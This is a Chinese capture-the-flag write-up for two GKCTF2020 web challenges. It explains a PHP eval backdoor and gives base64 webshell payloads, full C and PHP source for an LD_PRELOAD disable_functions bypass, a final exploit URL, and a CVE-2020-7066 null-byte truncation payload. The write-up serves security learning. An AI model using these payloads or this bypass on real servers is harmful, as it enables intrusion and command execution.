[GKCTF2020]-web部分题解

[GKCTF2020]CheckIN

打开网页是一串PHP代码

<title>Check_In</title> 
  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()['Ginkgo']; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

刚开始还以为是反序列化的题目,但是仔细想来想去这里也没得反序列化的函数,就有些懵逼,开始分析代码
这里首先定义了一个类ClassName
类里面有两个变量,整的挺花里胡哨,首先类调用了一个x函数,x函数返回的是我们传入的get和post请求,然后将$_REQUEST(php中$_REQUEST可以获取以POST方法和GET方法提交的数据)数组里的以Ginkgo为键名的值赋值给类里的code变量
@在这里是个什么意思呢?(@表示@符号后的语句如果有错误会忽略,不会提示,因为php运行时会有些错误,一些提醒的错误,如果用@那么这条语句有错误的也不会有提示),然后将类中的code变量的值进行base64解码赋值给类中的decode变量,最后eval函数执行decode中的值。
整那么多花里胡哨的,最终想表达的意思就是


$code = $_REQUEST['Ginkgo'];
@eval(base64_decode($code));
?>

这一看就是个命令执行
首先执行个phpinfo看看?

/?Ginkgo=cGhwaW5mbygpOw==

PHP版本7.3.18
那么下一步当然是看disable_functions啦
[GKCTF2020]-web部分题解_第1张图片

可以看到能用的全给禁了,不过还有个assert函数和eval函数
这里给两个payload:

echo base64_encode('$a="assert";$a(eval($_POST["a"]));');
echo base64_encode('eval($_POST["a"]);');

既然有shell了
那么蚁剑上
注:这里蚁剑自带base64加密
[GKCTF2020]-web部分题解_第2张图片

[GKCTF2020]-web部分题解_第3张图片
看这个readflag似曾相识
拖到IDA中 F5查看伪代码
[GKCTF2020]-web部分题解_第4张图片
这里可以cat /flag,那么我们看看终端。
打开终端cat /flag
[GKCTF2020]-web部分题解_第5张图片
用不了 那就绕呗
引进一个知识点

bypass-disable-functions

bypass_disable_functions这位大佬讲的很清晰
简而言之就是编写一个和系统同名的函数,使之在调用系统真正函数之前调用编写的恶意函数,达到绕过disable_functions
那么LD_PRELOAD又是什么呢?

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以open()和execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用open函数时,调用的其实是我们自定义的函数
但是我们又需要写入到环境变量,那么php中的putenv函数可以解决我们的问题

bypass.c

#define _GNU_SOURCE
#include 
#include 
#include 
extern char** environ; //获取环境变量

__attribute__ ((__constructor__)) void preload (void)
{
    
    const char* cmdline = getenv("EVIL_CMDLINE");
    //获取EVIL_CMDLINE的值
    int i;
    //从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
    //从而使下面的system()正常执行。
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // 执行命令
    system(cmdline);
}

编译

gcc -shared -fPIC bypass.c -o bypass_x64.so

bypass.php


    echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

"
; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"
; putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量 $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库 mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。 echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"
; unlink($out_path); ?>

这两个文件需要上传至/tmp/目录下
故最终payload:

http://833117ab-80b8-49a9-816f-0bafbb279f2a.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX0dFVFsiYSJdKTs=&a=include(%27/tmp/bypass.php%27);&cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so

[GKCTF2020]cve版签到

hint:cve-2020-7066
baidu查了一下发现是get_headers($url)函数中的内容可以被%00截断
而题目要求只能访问*.ctfhub.com
[GKCTF2020]-web部分题解_第6张图片
故我们可以构造payload:

/?url=http://127.0.0.1%00www.ctfhub.com

[GKCTF2020]-web部分题解_第7张图片
end必须是123
那么构造

/?url=http://127.0.0.123%00www.ctfhub.com

即可得到flag

你可能感兴趣的:(CTF)